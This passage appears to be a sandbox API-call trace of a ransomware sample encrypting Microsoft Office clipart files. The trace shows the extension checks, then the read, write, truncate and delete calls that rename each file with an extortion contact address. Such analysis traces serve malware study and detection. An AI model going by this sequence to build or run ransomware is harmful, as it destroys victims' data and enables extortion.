lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString=".1cd") returned 4 [0082.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString=".jpg") returned 4 [0082.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.653] lstrlenW (lpString=".doc") returned 4 [0082.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString=".docx") returned 5 [0082.653] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0082.653] lstrlenW (lpString=".pdf") returned 4 [0082.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.653] lstrlenW (lpString=".xls") returned 4 [0082.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.653] lstrlenW (lpString=".xlsx") returned 5 [0082.653] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0082.653] lstrlenW (lpString=".ppt") returned 4 [0082.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.654] lstrlenW (lpString=".zip") returned 4 [0082.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.654] lstrlenW (lpString=".rar") returned 4 [0082.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.654] lstrlenW (lpString=".bz2") returned 4 [0082.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.654] lstrlenW (lpString=".7z") returned 3 [0082.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.654] lstrlenW (lpString=".dbf") returned 4 [0082.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.654] lstrlenW (lpString=".1cd") returned 4 [0082.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63 [0082.654] lstrlenW (lpString=".jpg") returned 4 [0082.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.654] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.654] lstrlenW (lpString="CUPINST.WMF") returned 11 [0082.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.656] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=10326) returned 1 [0082.656] CloseHandle (hObject=0x374) returned 1 [0082.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 0x220 [0082.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.656] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.656] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.657] GetLastError () returned 0x0 [0082.657] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2856, lpOverlapped=0x0) returned 1 [0082.658] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2860, lpOverlapped=0x0) returned 1 [0082.659] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.659] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xea, lpOverlapped=0x0) returned 1 [0082.659] SetEndOfFile (hFile=0x33c) returned 1 [0082.659] CloseHandle (hObject=0x33c) returned 1 [0082.660] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.660] SetEndOfFile (hFile=0x374) returned 1 [0082.661] CloseHandle (hObject=0x374) returned 1 [0082.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1 [0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.662] lstrlenW (lpString=".doc") returned 4 [0082.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.662] lstrlenW (lpString=".docx") returned 5 [0082.662] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.662] lstrlenW (lpString=".pdf") returned 4 [0082.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.662] lstrlenW (lpString=".xls") returned 4 [0082.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.662] lstrlenW (lpString=".xlsx") returned 5 [0082.662] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.662] lstrlenW (lpString=".ppt") returned 4 [0082.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.662] lstrlenW (lpString=".zip") returned 4 [0082.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.662] lstrlenW (lpString=".rar") returned 4 [0082.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.662] lstrlenW (lpString=".bz2") returned 4 [0082.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.662] lstrlenW (lpString=".7z") returned 3 [0082.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString=".dbf") returned 4 [0082.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString=".1cd") returned 4 [0082.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString=".jpg") returned 4 [0082.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString=".doc") returned 4 [0082.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString=".docx") returned 5 [0082.663] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0082.663] lstrlenW (lpString=".pdf") returned 4 [0082.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString=".xls") returned 4 [0082.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.663] lstrlenW (lpString=".xlsx") returned 5 [0082.663] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0082.663] lstrlenW (lpString=".ppt") returned 4 [0082.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.663] lstrlenW (lpString=".zip") returned 4 [0082.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.663] lstrlenW (lpString=".rar") returned 4 [0082.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString=".bz2") returned 4 [0082.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.663] lstrlenW (lpString=".7z") returned 3 [0082.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.664] lstrlenW (lpString=".dbf") returned 4 [0082.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.664] lstrlenW (lpString=".1cd") returned 4 [0082.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67 [0082.664] lstrlenW (lpString=".jpg") returned 4 [0082.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.664] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.664] lstrlenW (lpString="DD00117_.WMF") returned 12 [0082.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.665] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=31122) returned 1 [0082.665] CloseHandle (hObject=0x374) returned 1 [0082.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 0x220 [0082.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.666] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.666] GetLastError () returned 0x0 [0082.666] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x7992, lpOverlapped=0x0) returned 1 [0082.668] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x79a0, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x79a0, lpOverlapped=0x0) returned 1 [0082.669] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.669] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0082.669] SetEndOfFile (hFile=0x33c) returned 1 [0082.669] CloseHandle (hObject=0x33c) returned 1 [0082.671] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.671] SetEndOfFile (hFile=0x374) returned 1 [0082.672] CloseHandle (hObject=0x374) returned 1 [0082.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.672] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00117_.wmf")) returned 1 [0082.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.672] lstrlenW (lpString=".doc") returned 4 [0082.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.672] lstrlenW (lpString=".docx") returned 5 [0082.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.673] lstrlenW (lpString=".pdf") returned 4 [0082.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString=".xls") returned 4 [0082.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.673] lstrlenW (lpString=".xlsx") returned 5 [0082.673] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.673] lstrlenW (lpString=".ppt") returned 4 [0082.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString=".zip") returned 4 [0082.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.673] lstrlenW (lpString=".rar") returned 4 [0082.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString=".bz2") returned 4 [0082.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString=".7z") returned 3 [0082.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString=".dbf") returned 4 [0082.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString=".1cd") returned 4 [0082.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString=".jpg") returned 4 [0082.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.673] lstrlenW (lpString=".doc") returned 4 [0082.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString=".docx") returned 5 [0082.673] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.673] lstrlenW (lpString=".pdf") returned 4 [0082.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.673] lstrlenW (lpString=".xls") returned 4 [0082.674] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.674] lstrlenW (lpString=".xlsx") returned 5 [0082.674] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.674] lstrlenW (lpString=".ppt") returned 4 [0082.674] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.674] lstrlenW (lpString=".zip") returned 4 [0082.674] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.674] lstrlenW (lpString=".rar") returned 4 [0082.674] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.674] lstrlenW (lpString=".bz2") returned 4 [0082.674] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.674] lstrlenW (lpString=".7z") returned 3 [0082.674] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.674] lstrlenW (lpString=".dbf") returned 4 [0082.674] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.674] lstrlenW (lpString=".1cd") returned 4 [0082.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00117_.WMF") returned 68 [0082.674] lstrlenW (lpString=".jpg") returned 4 [0082.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0082.674] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0082.674] lstrlenW (lpString="DD00121_.WMF") returned 12 [0082.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.715] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=8256) returned 1 [0082.715] CloseHandle (hObject=0x374) returned 1 [0082.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 0x220 [0082.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0082.715] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.715] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0082.716] GetLastError () returned 0x0 [0082.716] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x2040, lpOverlapped=0x0) returned 1 [0082.717] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0x2050, lpOverlapped=0x0) returned 1 [0082.718] ReadFile (in: hFile=0x374, lpBuffer=0x3a27020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.718] WriteFile (in: hFile=0x33c, lpBuffer=0x3a27020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a27020*, lpNumberOfBytesWritten=0x2fdfc94*=0xec, lpOverlapped=0x0) returned 1 [0082.718] SetEndOfFile (hFile=0x33c) returned 1 [0082.718] CloseHandle (hObject=0x33c) returned 1 [0082.719] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.719] SetEndOfFile (hFile=0x374) returned 1 [0082.720] CloseHandle (hObject=0x374) returned 1 [0082.720] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0082.720] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00121_.wmf")) returned 1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString=".doc") returned 4 [0082.721] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString=".docx") returned 5 [0082.721] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0082.721] lstrlenW (lpString=".pdf") returned 4 [0082.721] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString=".xls") returned 4 [0082.721] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0082.721] lstrlenW (lpString=".xlsx") returned 5 [0082.721] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0082.721] lstrlenW (lpString=".ppt") returned 4 [0082.721] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString=".zip") returned 4 [0082.721] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0082.721] lstrlenW (lpString=".rar") returned 4 [0082.721] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString=".bz2") returned 4 [0082.721] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString=".7z") returned 3 [0082.721] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString=".dbf") returned 4 [0082.721] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00121_.WMF") returned 68 [0082.721] lstrlenW (lpString=".1cd") returned 4 [0082.721] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0082.721] lstrlenW (lpString="C:\\Program Files\\Microsoft 